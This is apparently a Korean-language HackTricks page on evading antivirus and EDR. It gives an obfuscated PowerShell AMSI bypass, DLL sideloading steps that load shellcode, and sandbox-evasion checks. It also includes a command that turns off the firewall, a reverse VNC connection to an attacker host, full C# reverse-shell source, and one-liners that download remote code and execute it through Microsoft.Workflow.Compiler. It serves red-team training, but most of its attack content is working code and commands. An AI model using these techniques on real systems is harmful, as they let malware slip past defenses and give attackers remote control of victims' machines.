Antivirus (AV) Bypass

htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅까지 AWS 해킹 배우기**

HackTricks를 지원하는 다른 방법:

이 페이지는 @m2rc_p에 의해 작성되었습니다!

AV 회피 방법론

현재 AV는 파일이 악성인지 여부를 확인하기 위해 정적 감지, 동적 분석 및 고급 EDR의 경우 행위 분석과 같은 다양한 방법을 사용합니다.

정적 감지

정적 감지는 이진 또는 스크립트에서 알려진 악성 문자열 또는 바이트 배열을 플래그 처리하고 파일 자체에서 정보를 추출함으로써 달성됩니다(예: 파일 설명, 회사 이름, 디지털 서명, 아이콘, 체크섬 등). 알려진 공개 도구를 사용하면 분석되어 악성으로 플래그 처리된 경우가 많기 때문에 AV에 쉽게 걸릴 수 있습니다. 이러한 종류의 감지를 우회하는 몇 가지 방법이 있습니다:

  • 암호화

이진을 암호화하면 AV가 프로그램을 감지할 수 없지만, 메모리에서 프로그램을 해독하고 실행하기 위해 어떤 종류의 로더가 필요합니다.

  • 난독화

가끔은 AV를 우회하기 위해 이진이나 스크립트의 일부 문자열을 변경하는 것만으로 충분할 수 있지만, 난독화할 내용에 따라 시간이 많이 소요될 수 있습니다.

  • 사용자 지정 도구

자체 도구를 개발하면 알려진 나쁜 서명이 없을 것이지만, 이는 많은 시간과 노력이 필요합니다.

Windows Defender 정적 감지에 대한 좋은 방법은 ThreatCheck를 사용하는 것입니다. 이 도구는 파일을 여러 세그먼트로 분할한 다음 Defender에 각각 스캔하도록 요청하여 이진 파일에서 플래그 처리된 문자열이나 바이트를 정확히 알려줍니다.

실제 AV 회피에 대한 YouTube 재생 목록을 꼭 확인하는 것을 강력히 권장합니다.

동적 분석

동적 분석은 AV가 이진을 샌드박스에서 실행하고 악성 활동을 감시하는 것입니다(예: 브라우저 비밀번호를 해독하고 읽으려고 하는 것, LSASS에 대한 미니덤프 수행 등). 이 부분은 조금 더 복잡할 수 있지만 샌드박스를 회피하기 위해 할 수 있는 몇 가지 방법이 있습니다.

  • 실행 전 지연 구현 방식에 따라 AV의 동적 분석을 우회하는 좋은 방법일 수 있습니다. AV는 사용자의 작업 흐름을 방해하지 않기 위해 파일을 스캔하는 시간이 매우 짧기 때문에 긴 대기 시간을 사용하면 이진 파일의 분석이 방해될 수 있습니다. 문제는 많은 AV 샌드박스가 구현 방식에 따라 대기 시간을 건너뛸 수 있다는 것입니다.

  • 기계의 자원 확인 일반적으로 샌드박스는 작업할 자원이 매우 적습니다(예: < 2GB RAM), 그렇지 않으면 사용자의 기계가 느려질 수 있습니다. 여기서 매우 창의적일 수 있습니다. 예를 들어 CPU 온도 또는 심지어 팬 속도를 확인함으로써 샌드박스에 구현되지 않은 모든 것을 확인할 수 있습니다.

  • 기계별 확인 "contoso.local" 도메인에 가입된 사용자를 대상으로 하려면 컴퓨터의 도메인을 확인하여 지정한 도메인과 일치하는지 확인할 수 있습니다. 일치하지 않으면 프로그램을 종료할 수 있습니다.

Microsoft Defender의 샌드박스 컴퓨터 이름은 HAL9TH이므로, 폭발 전에 악성 코드에서 컴퓨터 이름을 확인하여 이름이 HAL9TH와 일치하는 경우 Defender의 샌드박스에 있음을 의미하므로 프로그램을 종료할 수 있습니다.

@mgeeky의 다른 훌륭한 팁들

이 게시물에서 이전에 언급한 대로 공개 도구는 결국 감지될 것이므로, 다음과 같은 질문을 해야 합니다:

예를 들어, LSASS를 덤프하려면 정말로 mimikatz를 사용해야 하는가? 아니면 더 알려진 것이 아니면서도 LSASS를 덤프하는 다른 프로젝트를 사용할 수 있는가.

올바른 답은 아마도 후자일 것입니다. mimikatz를 예로 들면, AV 및 EDR에 의해 거의 가장 많이 플래그 처리된 악성 코드 중 하나이며, 프로젝트 자체는 매우 멋지지만 AV를 우회하기 위해 작업하기가 까다로울 수 있으므로 달성하려는 목표에 대한 대안을 찾아보세요.

회피를 위해 페이로드를 수정할 때, Defender에서 자동 샘플 제출을 꺼두세요. 그리고 진지하게, 바이러스토탈에 업로드하지 마세요. 페이로드가 특정 AV에 의해 감지되는지 확인하려면 VM에 설치하고 자동 샘플 제출을 끄고 결과에 만족할 때까지 테스트하세요.

EXE 대 DLL

가능한 경우, 항상 회피를 위해 DLL 사용을 우선시하세요. 제 경험상 DLL 파일은 일반적으로 훨씬 덜 감지되고 분석되므로 경우에 따라 감지를 피하는 매우 간단한 트릭입니다(물론 페이로드가 DLL로 실행될 수 있는 방법이 있는 경우).

이 이미지에서 볼 수 있듯이 Havoc의 DLL 페이로드는 antiscan.me에서 4/26의 감지율을 가지고 있으며, EXE 페이로드는 7/26의 감지율을 가지고 있습니다.

이제 DLL 파일을 사용하여 훨씬 더 은밀하게 사용할 수 있는 몇 가지 트릭을 보여드리겠습니다.

DLL Sideloading & Proxying

DLL Sideloading는 로더가 사용하는 DLL 검색 순서를 이용하여 피해 응용 프로그램과 악의적인 페이로드를 서로 옆에 위치시킴으로써 이점을 취합니다.

Siofra를 사용하여 DLL Sideloading에 취약한 프로그램을 확인할 수 있습니다. 아래는 해당하는 PowerShell 스크립트입니다:

Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
}

이 명령은 "C:\Program Files\" 내에서 DLL 하이재킹에 취약한 프로그램 목록과 그들이 로드하려는 DLL 파일을 출력합니다.

나는 DLL 하이재킹/사이드로드 가능한 프로그램을 직접 탐색하는 것을 강력히 권장합니다. 이 기술은 제대로 수행하면 매우 은밀하지만, 공개적으로 알려진 DLL 사이드로드 가능한 프로그램을 사용하면 쉽게 발각될 수 있습니다.

악의적인 DLL을 프로그램이 로드하기를 기대하는 프로그램 이름과 동일한 DLL 이름으로 놓기만 해서는 페이로드가 로드되지 않습니다. 프로그램은 해당 DLL 내의 특정 함수를 기대하기 때문에, 이 문제를 해결하기 위해 DLL 프록시/포워딩이라는 다른 기술을 사용할 것입니다.

DLL 프록시는 프로그램이 프록시(및 악의적) DLL로부터 호출하는 것을 원본 DLL로 전달하여 프로그램의 기능을 보존하고 페이로드의 실행을 처리할 수 있습니다.

나는 @flangvikSharpDLLProxy 프로젝트를 사용할 것입니다.

다음은 내가 따랐던 단계들입니다:

1. Find an application vulnerable to DLL Sideloading (siofra or using Process Hacker)
2. Generate some shellcode (I used Havoc C2)
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)

마지막 명령은 DLL 소스 코드 템플릿과 원본 이름이 바뀐 DLL 2개의 파일을 제공합니다.

5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.

이것들이 결과입니다:

우리의 쉘코드(SGN로 인코딩됨)와 프록시 DLL 모두 antiscan.me에서 0/26 탐지율을 가지고 있습니다! 그것을 성공으로 평가할 수 있겠습니다.

나는 DLL Sideloading에 대해 더 깊이 논의한 내용을 더 알고 싶다면 S3cur3Th1sSh1t의 트위치 VODippsec의 비디오를 시청하는 것을 강력히 권장합니다.

Freeze는 중단된 프로세스, 직접 시스템 호출 및 대체 실행 방법을 사용하여 EDR을 우회하는 페이로드 툴킷입니다

Freeze를 사용하여 쉘코드를 은밀하게 로드하고 실행할 수 있습니다.

Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
1. Generate some shellcode, in this case I used Havoc C2.
2. ./Freeze -I demon.bin -encrypt -O demon.exe
3. Profit, no alerts from defender

회피는 고양이와 쥐의 게임에 불과합니다. 오늘 작동하는 것이 내일 감지될 수 있으므로 가능하면 여러 회피 기술을 연결해 사용하는 것이 좋습니다.

AMSI (안티 맬웨어 스캔 인터페이스)

AMSI는 "무파일 악성 코드"를 방지하기 위해 만들어졌습니다. 처음에는 AV(Anti-Virus)가 디스크의 파일만 스캔할 수 있었기 때문에, 만약 페이로드를 직접 메모리에서 실행할 수 있다면, AV는 충분한 가시성이 없기 때문에 이를 방지할 방법이 없었습니다.

AMSI 기능은 Windows의 다음 구성 요소에 통합되어 있습니다.

  • 사용자 계정 컨트롤 또는 UAC (EXE, COM, MSI 또는 ActiveX 설치의 권한 상승)

  • PowerShell (스크립트, 대화식 사용 및 동적 코드 평가)

  • Windows 스크립트 호스트 (wscript.exe 및 cscript.exe)

  • JavaScript 및 VBScript

  • Office VBA 매크로

이를 통해 안티바이러스 솔루션이 스크립트 동작을 검사할 수 있도록 하여, 스크립트 내용을 암호화되지 않고 난독화되지 않은 형태로 노출시킵니다.

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')를 실행하면 Windows Defender에서 다음 경고가 표시됩니다.

스크립트를 디스크에 저장하지 않았지만, AMSI 때문에 메모리에서 감지되었습니다.

AMSI를 우회하는 몇 가지 방법이 있습니다:

  • 난독화

AMSI는 주로 정적 감지와 작동하기 때문에, 불투명화된 스크립트를 수정하는 것은 감지를 회피하는 좋은 방법일 수 있습니다.

그러나 AMSI는 여러 층을 가진 불투명화된 스크립트도 해독할 수 있는 능력을 갖고 있기 때문에, 불투명화는 어떻게 수행되느냐에 따라 나쁜 선택일 수 있습니다. 이로 인해 회피가 그리 간단하지 않습니다. 그러나 때로는 변수 이름을 몇 개 바꾸기만 하면 충분할 수도 있으므로, 얼마나 많이 플래그가 지정되었는지에 따라 다릅니다.

  • AMSI 우회

AMSI는 powershell(또한 cscript.exe, wscript.exe 등) 프로세스에 DLL을 로드하여 구현되기 때문에, 비권한 사용자로서도 쉽게 조작할 수 있습니다. 이러한 AMSI 구현의 결함으로 인해, 연구원들은 AMSI 스캔을 회피하는 여러 가지 방법을 발견했습니다.

오류 강제

AMSI 초기화를 실패하도록 강제하면(amsiInitFailed), 현재 프로세스에 대한 스캔이 시작되지 않습니다. 이는 원래 Matt Graeber에 의해 공개되었으며, Microsoft는 보다 넓은 사용을 방지하기 위한 서명을 개발했습니다.

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

현재 powershell 프로세스에서 AMSI를 사용할 수 없게 만드는 데 한 줄의 powershell 코드만 필요했습니다. 물론 이 줄은 AMSI 자체에 의해 감지되었으므로 이 기술을 사용하려면 일부 수정이 필요합니다.

여기 Github Gist에서 가져온 수정된 AMSI 우회가 있습니다.

Try{#Ams1 bypass technic nº 2
$Xdatabase = 'Utils';$Homedrive = 'si'
$ComponentDeviceId = "N`onP" + "ubl`ic" -join ''
$DiskMgr = 'Syst+@.M£n£g' + 'e@+nt.Auto@' + '£tion.A' -join ''
$fdx = '@ms' + '£In£' + 'tF@£' + 'l+d' -Join '';Start-Sleep -Milliseconds 300
$CleanUp = $DiskMgr.Replace('@','m').Replace('£','a').Replace('+','e')
$Rawdata = $fdx.Replace('@','a').Replace('£','i').Replace('+','e')
$SDcleanup = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $CleanUp,$Homedrive,$Xdatabase))
$Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}

메모리 패칭

이 기술은 초기에 @RastaMouse에 의해 발견되었으며 "AmsiScanBuffer" 함수의 주소를 찾아 amsi.dll (사용자 제공 입력을 스캔하는 함수)에서 찾아내어 해당 주소를 덮어쓰는 것을 포함합니다. 그리고 이를 E_INVALIDARG 코드로 반환하는 명령어로 덮어씌워 실제 스캔 결과가 0으로 반환되어 깨끗한 결과로 해석되도록 하는 방법입니다.

더 자세한 설명은 https://rastamouse.me/memory-patching-amsi-bypass/에서 확인하세요.

또한 파워쉘로 AMSI를 우회하는 데 사용되는 다양한 기술들이 있습니다. 이 페이지이 저장소를 확인하여 더 자세히 알아보세요.

또는 이 스크립트는 메모리 패칭을 통해 각 새로운 파워쉘을 패치할 것입니다.

난독화

C# 평문 코드를 난독화하거나 이진 파일을 컴파일하기 위한 메타프로그래밍 템플릿을 생성하거나 컴파일된 이진 파일을 난독화하는 데 사용할 수 있는 여러 도구들이 있습니다:

  • InvisibilityCloak: C# 난독화 도구

  • Obfuscator-LLVM: 이 프로젝트의 목표는 LLVM 컴파일 스위트의 오픈 소스 포크를 제공하여 코드 난독화와 조작 방지를 통해 소프트웨어 보안을 강화하는 것입니다.

  • ADVobfuscator: ADVobfuscator는 외부 도구를 사용하지 않고 컴파일 시 C++11/14 언어를 사용하여 난독화된 코드를 생성하는 방법을 보여줍니다.

  • obfy: C++ 템플릿 메타프로그래밍 프레임워크에 의해 생성된 난독화된 작업 레이어를 추가하여 응용 프로그램을 해킹하려는 사람의 생활을 조금 어렵게 만듭니다.

  • Alcatraz: Alcatraz는 .exe, .dll, .sys 등 다양한 pe 파일을 난독화할 수 있는 x64 이진 난독화 도구입니다.

  • metame: Metame은 임의의 실행 파일을 위한 간단한 변형 코드 엔진입니다.

  • ropfuscator: ROPfuscator는 ROP (리턴 지향 프로그래밍)을 사용하여 LLVM 지원 언어에 대한 세밀한 코드 난독화 프레임워크입니다. ROPfuscator는 일반적인 제어 흐름에 대한 우리의 자연적인 개념을 방해하기 위해 일반 명령을 ROP 체인으로 변환하여 프로그램을 어셈블리 코드 수준에서 난독화합니다.

  • Nimcrypt: Nimcrypt는 Nim으로 작성된 .NET PE 암호화 도구입니다.

  • inceptor: Inceptor는 기존 EXE/DLL을 쉘코드로 변환한 다음 로드할 수 있는 도구입니다.

SmartScreen & MoTW

인터넷에서 일부 실행 파일을 다운로드하고 실행할 때 이 화면을 본 적이 있을 것입니다.

Microsoft Defender SmartScreen은 잠재적으로 악성 애플리케이션을 실행하는 것을 방지하기 위한 보안 메커니즘입니다.

SmartScreen은 주로 평판 기반 접근 방식을 사용하며, 일반적으로 다운로드되지 않는 응용 프로그램은 SmartScreen을 트리거하여 사용자에게 파일을 실행하지 말라는 경고를 보내고 실행을 방지합니다 (그러나 파일은 여전히 More Info -> Run anyway를 클릭하여 실행할 수 있습니다).

MoTW (Mark of The Web)는 Zone.Identifier라는 NTFS 대체 데이터 스트림으로, 인터넷에서 파일을 다운로드할 때 자동으로 생성되며 해당 파일이 다운로드된 URL과 함께 생성됩니다.

신뢰할 수 있는 서명 인증서로 서명된 실행 파일은 SmartScreen을 트리거하지 않습니다.

Mark of The Web을 방지하는 매우 효과적인 방법은 ISO와 같은 컨테이너 형식으로 페이로드를 패키징하는 것입니다. 이는 Mark-of-the-Web (MOTW)가 NTFS가 아닌 볼륨에는 적용되지 않기 때문입니다.

PackMyPayload는 Mark of The Web을 회피하기 위해 페이로드를 출력 컨테이너로 패키징하는 도구입니다.

사용 예시:

PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso

+      o     +              o   +      o     +              o
+             o     +           +             o     +         +
o  +           +        +           o  +           +          o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------,      o
:: PACK MY PAYLOAD (1.1.0)       -_-_-_-_-_-_-|   /\_/\
for all your container cravings   -_-_-_-_-_-~|__( ^ .^)  +    +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-''  ''
+      o         o   +       o       +      o         o   +       o
+      o            +      o    ~   Mariusz Banach / mgeeky    o
o      ~     +           ~          <mb [at] binary-offensive.com>
o           +                         o           +           +

[.] Packaging input file to output .iso (iso)...
Burning file onto ISO:
Adding file: /TotallyLegitApp.exe

[+] Generated file written to (size: 3420160): container.iso

여기 PackMyPayload를 사용하여 ISO 파일 내에 페이로드를 포장하여 SmartScreen을 우회하는 데모가 있습니다.

C# 어셈블리 리플렉션

메모리에 C# 이진 파일을 로드하는 것은 꽤 오랫동안 알려져 있으며 여전히 AV에 감지되지 않고 후속 침투 도구를 실행하는 아주 좋은 방법입니다.

페이로드가 디스크에 직접로드되므로 메모리로 로드되며 전체 프로세스에 대해 AMSI를 패치하는 것만 걱정하면 됩니다.

대부분의 C2 프레임워크 (sliver, Covenant, metasploit, CobaltStrike, Havoc 등)은 이미 메모리에서 C# 어셈블리를 직접 실행할 수 있는 기능을 제공하지만 다음과 같은 다양한 방법이 있습니다:

  • Fork&Run

이것은 새로운 희생 프로세스를 생성하고 새 프로세스에 후속 침투 악성 코드를 주입하여 악성 코드를 실행하고 완료되면 새 프로세스를 종료하는 것을 포함합니다. Fork 및 실행 방법의 장점은 실행이 Beacon 임플란트 프로세스 외부에서 발생한다는 것입니다. 이것은 후속 침투 작업 중에 무언가 잘못되거나 감지되면 임플란트가 살아남을 가능성이 훨씬 높다는 것을 의미합니다. 단점은 행위 감지에 잡힐 가능성이 훨씬 높다는 것입니다.

  • Inline

이것은 후속 침투 악성 코드를 자체 프로세스에 주입하는 것입니다. 이렇게 하면 새 프로세스를 만들고 AV에 스캔되는 것을 피할 수 있지만 페이로드 실행 중에 문제가 발생하면 Beacon을 잃을 가능성이 훨씬 높아질 수 있습니다.

C# 어셈블리 로딩에 대해 더 읽고 싶다면 이 기사를 확인하세요 https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/ 그리고 그들의 InlineExecute-Assembly BOF (https://github.com/xforcered/InlineExecute-Assembly)

또한 PowerShell에서 C# 어셈블리를 로드할 수도 있습니다. Invoke-SharpLoaderS3cur3th1sSh1t의 비디오를 확인하세요.

다른 프로그래밍 언어 사용

https://github.com/deeexcee-io/LOI-Bins에서 제안한 대로, 공격자가 제어하는 SMB 공유에 설치된 인터프리터 환경에 악성 코드를 실행할 수 있도록 함으로써 다른 언어를 사용하여 악성 코드를 실행할 수 있습니다.

SMB 공유의 인터프리터 이진 파일 및 환경에 액세스를 허용함으로써 감염된 기기의 메모리 내에서 이러한 언어로 임의의 코드를 실행할 수 있습니다.

저장소는: Defender는 여전히 스크립트를 스캔하지만 Go, Java, PHP 등을 활용하여 정적 시그니처를 우회할 더 많은 유연성이 있습니다. 이러한 언어로 무작위로 난독화된 역쉘 스크립트를 테스트한 결과 성공적이었습니다.

고급 회피

회피는 매우 복잡한 주제이며 때로는 하나의 시스템에서 많은 다른 텔레메트리 소스를 고려해야 하므로 성숙한 환경에서 완전히 감지되지 않는 것은 거의 불가능합니다.

대상이 되는 모든 환경에는 각각의 강점과 약점이 있습니다.

더 많은 고급 회피 기술에 대한 통찰을 얻으려면 @ATTL4S의 이 발표를 꼭 시청하시기를 권장합니다.

또한 @mariuszbit의 이 훌륭한 발표도 있습니다. 회피에 대한 깊은 이해에 대해 알려줍니다.

이전 기술

Defender가 악성으로 인식하는 부분 확인

ThreatCheck를 사용하여 이진 파일의 일부를 제거하여 Defender가 악성으로 인식하는 부분을 알아내고 분할할 수 있습니다. 동일한 작업을 수행하는 다른 도구는 avred이며 https://avred.r00ted.ch/에서 서비스를 제공하는 오픈 웹을 통해 제공됩니다.

Telnet 서버

Windows10 이전까지 모든 Windows에는 설치할 수 있는 Telnet 서버가 포함되어 있었으며 (관리자로) 다음을 수행하여 설치할 수 있습니다:

pkgmgr /iu:"TelnetServer" /quiet

시스템이 시작될 때 시작되도록 만들고 지금 실행하십시오:

sc config TlntSVR start= auto obj= localsystem

Telnet 포트 변경 (은신) 및 방화벽 비활성화:

tlntadmn config port=80
netsh advfirewall set allprofiles state off

UltraVNC

다음에서 다운로드: http://www.uvnc.com/downloads/ultravnc.html (설치가 아닌 바이너리 다운로드)

호스트에서: _winvnc.exe_를 실행하고 서버를 구성:

  • TrayIcon 비활성화 옵션 활성화

  • _VNC Password_에 비밀번호 설정

  • _View-Only Password_에 비밀번호 설정

그런 다음, 바이너리 _winvnc.exe_와 새로 생성된 파일 _UltraVNC.ini_을 피해자 내부로 이동

역방향 연결

공격자자신의 호스트에서 vncviewer.exe -listen 5900 바이너리를 실행하여 역방향 VNC 연결을 받을 준비를 해야 합니다. 그런 다음 피해자 내부에서: winvnc 데몬 시작 winvnc.exe -runwinwnc.exe [-autoreconnect] -connect <attacker_ip>::5900 실행

경고: 은신을 유지하려면 몇 가지 작업을 하지 않아야 합니다

  • 이미 실행 중인 경우 winvnc를 시작하지 마세요. 그렇지 않으면 팝업이 표시됩니다. tasklist | findstr winvnc로 실행 여부 확인

  • 같은 디렉토리에 UltraVNC.ini가 없는 상태에서 winvnc를 시작하지 마세요. 그렇지 않으면 구성 창이 열립니다

  • 도움말을 위해 winvnc -h를 실행하지 마세요. 그렇지 않으면 팝업이 표시됩니다

GreatSCT

다음에서 다운로드: https://github.com/GreatSCT/GreatSCT

git clone https://github.com/GreatSCT/GreatSCT.git
cd GreatSCT/setup/
./setup.sh
cd ..
./GreatSCT.py

GreatSCT 내부:

use 1
list #Listing available payloads
use 9 #rev_tcp.py
set lhost 10.10.14.0
sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole

지금 msfconsole -r file.rc리스너를 시작하고 다음을 실행하십시오:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml

현재 defender는 프로세스를 매우 빨리 종료할 것입니다.

우리만의 리버스 쉘 컴파일

https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15

첫 번째 C# 리버스 쉘

다음과 같이 컴파일하십시오:

c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt

사용 방법:

back.exe <ATTACKER_IP> <PORT>
// From https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple_Rev_Shell.cs
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;


namespace ConnectBack
{
public class Program
{
static StreamWriter streamWriter;

public static void Main(string[] args)
{
using(TcpClient client = new TcpClient(args[0], System.Convert.ToInt32(args[1])))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);

StringBuilder strInput = new StringBuilder();

Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();

while(true)
{
strInput.Append(rdr.ReadLine());
//strInput.Append("\n");
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}

private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();

if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}

}
}

C# 컴파일러 사용

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt

REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066

REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639

자동 다운로드 및 실행:

64bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

32bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

C# 난독화 도구 목록: https://github.com/NotPrab/.NET-Obfuscator

C++

sudo apt-get install mingw-w64

i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

파이썬을 사용한 인젝터 빌드 예제:

기타 도구

# Veil Framework:
https://github.com/Veil-Framework/Veil

# Shellter
https://www.shellterproject.com/download/

# Sharpshooter
# https://github.com/mdsecactivebreach/SharpShooter
# Javascript Payload Stageless:
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3

# Stageless HTA Payload:
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee

# Staged VBS:
SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4

# Donut:
https://github.com/TheWover/donut

# Vulcan
https://github.com/praetorian-code/vulcan

더 알아보기

제로부터 영웅이 될 때까지 AWS 해킹 배우기 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법:

Last updated